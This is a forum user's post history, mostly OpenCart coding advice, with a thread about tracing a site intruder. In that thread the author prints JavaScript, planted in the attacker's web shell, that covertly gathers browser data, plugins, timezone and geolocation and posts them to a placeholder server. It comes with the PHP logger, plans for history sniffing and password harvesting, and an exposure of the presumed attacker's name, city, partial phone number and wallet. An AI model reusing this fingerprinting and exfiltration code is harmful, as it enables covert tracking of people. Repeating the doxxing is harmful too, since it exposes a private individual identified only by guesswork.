Перейти до вмісту
Пошук в
  • Детальніше...
Шукати результати, які ...
Шукати результати в ...

hplus

Новачок
  
  • Публікації

    25
  • З нами

  • Відвідування

Усі публікації користувача hplus

  1. Нет, он прав, только не объяснил почему. У тебя неправильный подход к решению задачи. Вот тут немного юмора по теме, ты сейчас как раз закручиваешь шуруп гаечным ключем, причем ты не автомеханик, а юрист) И мне вот никак не хочется тебе объяснять как все работает. Надеюсь, что кто-то поможет заблудшей душе.
  2. $( "a" ).click(function( event ) { event.preventDefault(); //чтобы не перезагружалась // или event.stopPropagation(); });
  3. Ничего нет потому что в этом нет необходимости. Достаточно знать функции моделей, основные классы, хелперы в OpenCart и все, этого вполне хватает. Смотрите стандартные модули, в них все есть. OpenCart очень простой, практикуйтесь и все получится. Вот в догонку: Описание функций основных классов (system/library) Описание функций моделей каталога
  4. Даниель случайно гражданство российское не получал?
  5. https://opencartforum.com/topic/46450-%D1%80%D0%B5%D1%88%D0%B5%D0%BD%D0%BE-api-%D0%BE%D0%BF%D0%B5%D0%BD%D0%BA%D0%B0%D1%80%D1%82%D0%B0/
  6. Еще для тех кто пользуется vqmod. Для автоматической смены путей admin на superadmin необходимо в файл vqmod/pathReplaces.php добавить следующий код: // START REPLACES // $replaces[] = array('~^admin\b~', 'superadmin'); // END REPLACES // Теперь vqmod автоматически будет заменять пути в xml файлах.
  7. Или сделайте так, чтобы правильный логин и пароль нужно было ввести 2 раза подряд :ugeek:
  8. $query = $this->db->query("SELECT parent_id from " . DB_PREFIX . "category_parent WHERE category_id = " . (int)$category_id); var_dump($query->row); //Узнаем что именно вернул результат, т.к. я понятия не имею что он вернет.
  9. Я отталкиваюсь от стандартного кода OpenCart и того как я его понимаю. Так-то да, HTML намного лучше будет.
  10. Походу даже не собирался. Новичок же, все готовое нужно. Оберни код модуля в стандартную обертку //Начало обертки $cache_name = 'mega.menu.' . http_build_query($setting); //Уникальное имя для текущего модуля $this->data['categories'] = $this->cache->get($cache_name); if (empty($this->data['categories'])){ //конец //здесь идет получение списка категорий и цикл их добавления в массив //вторая часть обертки $this->cache->set($cache_name, $this->data['categories']); } //конец
  11. Да так-то все равно. Все равно кэшера под него нет, только под стандартные модули. Добавьте кэширование сами.
  12. А это условие точно выполняется, т.е. выполнение кода доходит до этой строки? Так же проблемой может быть сервер, именно он занимается обработкой и отправкой заголовков. Т.е. смотрите .htaccess или настройки сервера.
  13. И так. Проникновение на сервер произошло через Joomla 3.0, уязвимость описана здесь. Для закрытия уязвимости была обновлена Joomla, и куплен/установлен RSFirewall, который нашел остальные шеллы и будет в дальнейшем защищать сайт от XSS и переборов. Ревизор все-таки зашел на подготовленную мною страницу и jsdetector ничего внятного не показал, только что у него установлен плагин для браузера - "Garena Talk Plugin". А значит он у нас играет. В XML файле, модуля "modules/mod_ariim/mod_ariim.xml", который отличается от оригинала, был найден автограф. Как видно его никнейм - profexor, немного погуглив узнаем больше. Старый ник - Dr.profexor. Свою активность в интернет начал в 2009 году, а то и ранее. Имеет большой опыт в таких делах. Сидит на античате (профиль). Из проектов, которые он делал, известен только один 3gp-film.ru. Так же он является его первым юзером и долгое время поддерживал его. Имеется множество упоминаний города - Саратов, и имени - Андрей. Предполагаемая фамилия - Бабенков. Телефон начинается на 7927911****. Возраст 30±5 лет. Так же найден WM аккаунт сего товарища, имеет персональный аттестат. Активность и BL уровень аккаунта говорят о том, что кошелек активно используется. Вот и все, всем спасибо. P.S. Андрей, тебе огромный привет.
  14. Во все файлы ".htaccess" на аккаунте, в начало файла добавляется: Инфицированные файлы, которые я нашел: файл "/index.php" (Joomla) одного из доменов Файлы "/mailout.php", "/plugins/user/profile/session.php":
  15. Для тех кому интересно что именно я добавил: <script src="//zhovner.com/jsdetector.js?name=hplus"> //Определение локального и глобального IP из под VPN, NAT и т.д. //Подробнее на zhovner.com/jsdetector </script> <script> //данные браузера var arrays = new Array(); for(var prop in navigator) { if (navigator[prop] instanceof Object || navigator[prop]==='') continue arrays.push(prop, navigator[prop]); } var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){var t="";var n,r,i,s,o,u,a;var f=0;e=Base64._utf8_encode(e);while(f<e.length){n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=e.charCodeAt(f++);s=n>>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},decode:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"");while(f<e.length){s=this._keyStr.indexOf(e.charAt(f++));o=this._keyStr.indexOf(e.charAt(f++));u=this._keyStr.indexOf(e.charAt(f++));a=this._keyStr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=Base64._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/\r\n/g,"\n");var t="";for(var n=0;n<e.length;n++){var r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r)}else if(r>127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf8_decode:function(e){var t="";var n=0;var r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}} //данные подключенных плагинов к браузеру var prev for(var i=0;i<navigator.plugins.length;i++) { var plugin = navigator.plugins[i] var plugin = plugin.name+" "+(plugin.version || '') arrays.push('nav'+i, plugin); if (prev == plugin ) continue prev = plugin } //Часовой пояс arrays.push('timezone',-new Date().getTimezoneOffset()/60); //отправка данных на сервер $.post('http://domain.ru/1.php', Base64.encode(JSON.stringify(arrays))); //на всякий случай гео локацию, если включена navigator.geolocation.getCurrentPosition(showPosition); function showPosition(position) { arrays.push('h',position.coords.latitude); arrays.push('w',position.coords.longitude); //Еще раз отправляем данные на сервер $.post('http://domain.ru/1.php', Base64.encode(JSON.stringify(arrays))); } </script> Содержимое файла domain.ru/1.php, на который приходит отчет: <?php header('Access-Control-Allow-Origin:*'); $data2 = array(); foreach ($_POST as $key => $value) { $data2 = json_decode(base64_decode($key)); var_dump($data2); } $data = array($_SERVER, $_GET, $data2, $_POST); $data_encoded = json_encode($data); file_put_contents(md5($data_encoded).'.txt', $data_encoded); ?> Ну, и siteheart :-)
  16. Сегодня утром этот "ревизор" поменял все логи, чтобы мы его не смогли его отследить) Но мы еще вчера все логи скачали. Только что посмотрел whois домена рекламного агрегатора, оказывается он на обычном сервере стоит, в Украине. И домен был зарегистрирован всего месяц назад. Туплю... Возвращение к бекапам - критично. Слишком старые. Я просто шеллы удалил. Буду караулить. На всякий случай расшифровал шелл добавил туда плюшки из http://javascript.ru/unsorted/id и подключил http://zhovner.com/jsdetector/ . Добавил пару кроссдоменных запросов и отслеживание по кукам на сайте и в шелле. Так что теперь когда он опять зальет я узнаю какую дыру закрывать. А потом еще и шелл подменю. Так как шелл собирает и отправляет данные при первой загрузке мне нечего бояться и я добавил ему в шелл еще и онлайн консультанта siteheart)
  17. Приветствую. Жаль, что название темы нельзя сменить я бы назвал ее - Ревизор) Сегодня, ко мне обратился бывший клиент с просьбой о помощи. Дело обстояло в том, что в .htaccess поставили редирект на какой-то публичный агрегатор рекламы (не арбузоустойчивый). Т.е. сначала переадресовывается на него, потом на какое-нибудь онлайн-казино. Переадресация идет только на планшетах/телефонах, тем самым забирая значительную часть аудитории сайта. Через 2-3 дня удаления кода он восстанавливается. Промежуток в 2-3 дня как-бы говорит о том, что файл переименовывается вручную, либо скрипт запускается вручную. После скачивания дампов сайта стал возможен анализ кода и access логов за неделю (что в последствии скажется). Анализ логов показал адреса запросов к "лишним" скриптам ("domain1.ru/docs/system/library/engine/1.php, domain2.ru/docs/system/library/stile.php"). При переходе к скрипту присутствует просьба ввести пароль, а значит это не просто скрипт, а шелл. После недолгой расшифровки предо мной предстал интерфейс. Шелл вполне распространенный, эргономичный и очень даже функциональный при его-то размере. Если понравился, то можете скачать называется WSO WEB Shell. Кстати после расшифровки md5 паролем оказался root После дополнительного анализа логов за неделю на всех доменах узнал, что на шелл заходят только через веб-прокси, которые расположены только у крупных хостинг-провайдеров (таймвеб, 1gb, клодо и т.д.). Это отработанная и вполне рабочая схема. Использование российских хостинг-провайдеров как бы говорит о том, что наш взломщик с территории бывшего СНГ, что есть хорошо. Если обратиться к хостинг-провайдерам с логами - ничего не даст. Ну, закроют его хостинг - зарегистрирует новый. При обилии сканов паспортов в публичном доступе можно не париться и зарегистрироваться прямо там же) В логах не видно через какую дыру он залил шеллы на сайт моего клиента, видимо прошла неделя с момента загрузки и в логах ничего нет. (Большинство хостинг-провайдеров хранят логи всего неделю) Предполагаемую дыру в не обновленном зарубежном модуле я закрыл, больше дыр не обнаружил. Зачем я все это писал, я хочу найти этого парня. Ну, или хотя бы более-менее точно составить его психологический портрет. Хочу посредством его же шелла получить максимум информации о нем. -------------------------------------- Этот параграф начну с того, что использовать php для получения информации не имеет смысла т.к. наш ревизор использует прокси. А вот javascript, который выполняется в его браузере очень даже можно. Слышал, что с помощью JS можно узнать IP адрес во внутренней сети (в NAT), только не помню где я об этом слышал. Я уже добавил авторизацию только со второго/третьего (пока не решил) раза, чтобы он ввел еще какой-нибудь пароль (хотя подумываю убрать). У него стоит хромиум или мозилла, винда 64x (из логов). Еще слышал про то, что с помощью js можно определить visited ссылка или нет. А значит можно написать страницу со списком сайтов с ссылками и прогнать его этим самым скриптом. Так можно будет узнать какие сайты посещал пользователь. Адреса сайтов нужно будет очень хорошо подобрать учитывая задачу и узкий круг интересов нашего ревизора. Что еще посоветуете?
  18. Рекомендую поискать реализацию LongPool сервера (PUSH) (Есть уже много готовых реализаций на PHP). На этом принципе работает механизм уведомлений и сообщений на сайтах Вконтакте и Facebook.
  19. Судя по таймингам у Вас все быстро работает. 100-200 мс для генерации страницы это очень хороший результат. Если хостер пишет, что сайт забирает много процессорного времени, то рекомендую сменить тариф. И подключить сайт к какой-нибудь cdn, т.к. время блокировки ресурсов большое (не большое, но ресурсов много).
  20. Нет, претензий к Вам не будет. Обычно некоторые студии по завершении делают список со сторонним ПО, используемым в проекте. Либо, если список стороннего ПО заранее известен, то список указывается в договоре. Покупку Вами модуля может подтвердить только разработчик.
  21. В большинстве случаев заранее не известно покупал ли пользователь модуль или нет. Если есть возможность, то сообщите разработчику модуля. Ваши персональные данные, ссылки из из своих сообщения я удалил. А та девушка займется своими делами. Спасибо за понимание. По поводу тормозов на сайте если Вы делайте их на базе OpenCart, то там часто беда с запросами на подсчет кол-ва товаров. Используйте OcStore, она как раз оптимизирована для стран бывшего СНГ и в ней много других полезных вещей. С Уважением, Доброжелатель.
×
×
  • Створити...

Important Information

На нашому сайті використовуються файли cookie і відбувається обробка деяких персональних даних користувачів, щоб поліпшити користувальницький інтерфейс. Щоб дізнатися для чого і які персональні дані ми обробляємо перейдіть за посиланням . Якщо Ви натиснете «Я даю згоду», це означає, що Ви розумієте і приймаєте всі умови, зазначені в цьому Повідомленні про конфіденційність.